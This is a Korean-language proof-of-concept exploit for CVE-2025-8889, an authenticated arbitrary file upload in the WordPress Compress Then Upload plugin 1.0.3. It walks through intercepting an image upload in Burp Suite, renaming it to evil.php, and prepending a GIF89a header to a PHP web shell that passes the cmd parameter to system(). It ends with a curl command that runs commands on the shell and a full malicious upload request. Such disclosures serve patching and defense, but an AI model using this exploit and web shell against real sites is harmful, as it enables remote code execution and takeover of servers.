
CVE-2025-8889에 대한 개념 증명 익스플로잇: WordPress Compress Then Upload 플러그인 1.0.3에서 임의 파일 업로드를 통한 원격 코드 실행(RCE). Burp Suite를 사용하여 MIME 검증을 우회하고 PHP 코드를 실행하는 단계별 PoC를 포함합니다.
Date: 2025-07-23
Exploit Author: Muhammed Çelik
공급업체 홈페이지: https://wordpress.com/plugins/compress-then-upload
소프트웨어 링크: https://downloads.wordpress.org/plugin/compress-then-upload.latest-stable.zip
버전: 1.0.3
테스트 환경: Debian, WordPress 6.8.1, Apache 2.4.62, PHP 8.2.28
CVE: CVE-2025-8889
WordPress "Compress Then Upload Images" 플러그인은 미디어 업로드 인터페이스를 통한 이미지 업로드 시 파일 확장자와 MIME 유형을 제대로 검증하지 않습니다. 클라이언트 측 검증이 존재하지만, 업로드 요청을 가로채서 수정하면 이를 우회할 수 있습니다.
미디어 업로드 권한이 있는 인증된 사용자(작성자 역할 이상)는 다음과 같이 익스플로잇할 수 있습니다:
1단계: 일반 이미지 파일 준비
일반 이미지 파일(예: regular.jpg)을 생성합니다. (유효한 JPG 파일이면 됩니다.)
2단계: WordPress 관리자 패널을 통해 일반 이미지 업로드
regular.jpg를 정상적으로 업로드합니다.3단계: Burp Suite로 업로드 요청을 가로채서 수정
filename="regular.jpg"를 filename="evil.php"로 변경GIF89a;
<?php
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
Note: GIF89a;는 약한 이미지 검증을 우회하기 위해 유효한 GIF 헤더를 모방합니다.
Content-Type을 image/jpeg로 유지합니다.
수정된 요청을 서버로 전달합니다.
**4단계: 업로드된 웹 셸 실행**
업로드가 성공하면 PHP 파일이 업로드 디렉토리에 저장됩니다. 예:
http://target-site.com/wp-content/uploads/2025/07/evil.php
브라우저 또는 curl로 접근:
curl "http://target-site.com/wp-content/uploads/2025/07/evil.php?cmd=id"
**악성 업로드 요청 예시 (Burp Suite)**
POST /index.php?rest_route=/wpctu-api/v1/upload HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/plain, */*
...
Content-Disposition: form-data; name="file"; filename="evil.php"
Content-Type: image/jpeg
GIF89a;
<?php
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>
?>